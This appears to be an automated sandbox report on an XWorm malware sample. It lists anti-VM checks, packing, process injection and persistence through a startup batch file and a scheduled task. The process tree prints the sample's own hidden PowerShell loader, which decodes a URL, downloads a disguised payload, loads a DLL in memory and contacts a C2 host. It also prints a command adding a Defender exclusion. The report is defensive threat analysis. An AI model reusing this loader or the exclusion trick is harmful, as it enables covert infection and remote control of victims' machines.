xworm | fb0fe7e716caf3e0dcb1fbb6824466f807aa85295bfc7ed7046febf3331dab88

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	k3t05Da.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
34	2268	powershell.exe
51	2268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2268	powershell.exe
4576	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	k3t05Da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	k3t05Da.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	k3t05Da.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tetras.bat	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tetras.bat	cmd.exe

Loads dropped DLL 1 IoCs

pid	Process
1356	k3t05Da.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/memory/1356-1-0x0000000000710000-0x0000000000CFC000-memory.dmp	agile_net

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0007000000024273-8.dat	themida
behavioral2/memory/1356-12-0x00000000725F0000-0x0000000072BD0000-memory.dmp	themida
behavioral2/memory/1356-14-0x00000000725F0000-0x0000000072BD0000-memory.dmp	themida
behavioral2/memory/1356-15-0x00000000725F0000-0x0000000072BD0000-memory.dmp	themida
behavioral2/memory/1356-23-0x00000000725F0000-0x0000000072BD0000-memory.dmp	themida
behavioral2/memory/1356-42-0x00000000725F0000-0x0000000072BD0000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	k3t05Da.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1356 set thread context of 4808	1356	k3t05Da.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3412	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1356	k3t05Da.exe
1356	k3t05Da.exe
4576	powershell.exe
4576	powershell.exe
2268	powershell.exe
2268	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1356	k3t05Da.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	4808	k3t05Da.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 5496	1356	k3t05Da.exe	95
PID 1356 wrote to memory of 5496	1356	k3t05Da.exe	95
PID 1356 wrote to memory of 5496	1356	k3t05Da.exe	95
PID 1356 wrote to memory of 4576	1356	k3t05Da.exe	97
PID 1356 wrote to memory of 4576	1356	k3t05Da.exe	97
PID 1356 wrote to memory of 4576	1356	k3t05Da.exe	97
PID 1356 wrote to memory of 3412	1356	k3t05Da.exe	99
PID 1356 wrote to memory of 3412	1356	k3t05Da.exe	99
PID 1356 wrote to memory of 3412	1356	k3t05Da.exe	99
PID 1356 wrote to memory of 2636	1356	k3t05Da.exe	101
PID 1356 wrote to memory of 2636	1356	k3t05Da.exe	101
PID 1356 wrote to memory of 2636	1356	k3t05Da.exe	101
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 1356 wrote to memory of 4808	1356	k3t05Da.exe	102
PID 5496 wrote to memory of 2268	5496	cmd.exe	103
PID 5496 wrote to memory of 2268	5496	cmd.exe	103
PID 5496 wrote to memory of 2268	5496	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe
"C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\File.bat" "
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzE5Ni4yNTEuOTEuNDIvdXAvdXBsb2Fkcy9lbmNyeXB0aW9uMDIuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('httpss.myvnc.com', '1907');"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ohbuGGy.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4576
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ohbuGGy" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC41B.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:3412
- C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe
  "C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe"
  2⤵
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe
  "C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery